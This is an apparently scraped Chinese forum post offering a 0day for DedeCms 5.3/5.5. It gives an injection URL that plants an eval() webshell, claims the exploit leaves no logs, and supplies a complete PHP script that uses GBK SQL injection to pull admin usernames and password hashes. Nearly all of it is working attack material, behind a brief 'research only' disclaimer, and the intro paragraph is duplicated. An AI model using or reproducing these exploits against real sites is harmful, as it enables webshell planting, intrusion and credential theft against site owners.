DedeCms v5.5 0day
官方暂时没出补丁,不过我估计快了
执行成功会在在data/cache下生成t.php一句话小马
密码t,官方最新GBK和utf-8版本存在此漏洞,
此exp得特点是生产t.php得时候不留日志
官方暂时没出补丁,不过我估计快了
执行成功会在在data/cache下生成t.php一句话小马
密码t,官方最新GBK和utf-8版本存在此漏洞,
此exp得特点是生产t.php得时候不留日志
作者:张恒
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。
假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息:

<?
print_r('
--------------------------------------------------------------------------------
dedecms gpk "/plus/infosearch.php" SQL injection exploit
BY 冰的原点 (<a href="http://www.tools.net" target="_blank">http://www.tools.net</a>)
thx oldjun
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpcms
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$cookie="PHPSESSID=2456c055c52722efa1268504d07945f2";
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}
$packet ="GET ".$path."plus/infosearch.php?action=search&q=%cf%27%20union%20select%201,2,concat(uname,0x3a,substring(pwd,9,16)),4,5,6%20from%20dede_admin/*# HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!eregi(":",$html))
{
echo $packet;
echo $html;
die("Exploit failed...");
}
else
{
$pattern="/\" class=\"title\">(.*?)<\/a>/si";
preg_match($pattern,$html,$pg);
$result=explode(":",$pg[1]);
print_r('
--------------------------------------------------------------------------------
[+]username -> '.$result[0].'
[+]password(16位md5) -> '.$result[1].'
--------------------------------------------------------------------------------
');
}
function is_hash($hash)
{
if (ereg("^[a-z0-9]{16}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($result[1])) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>
近期评论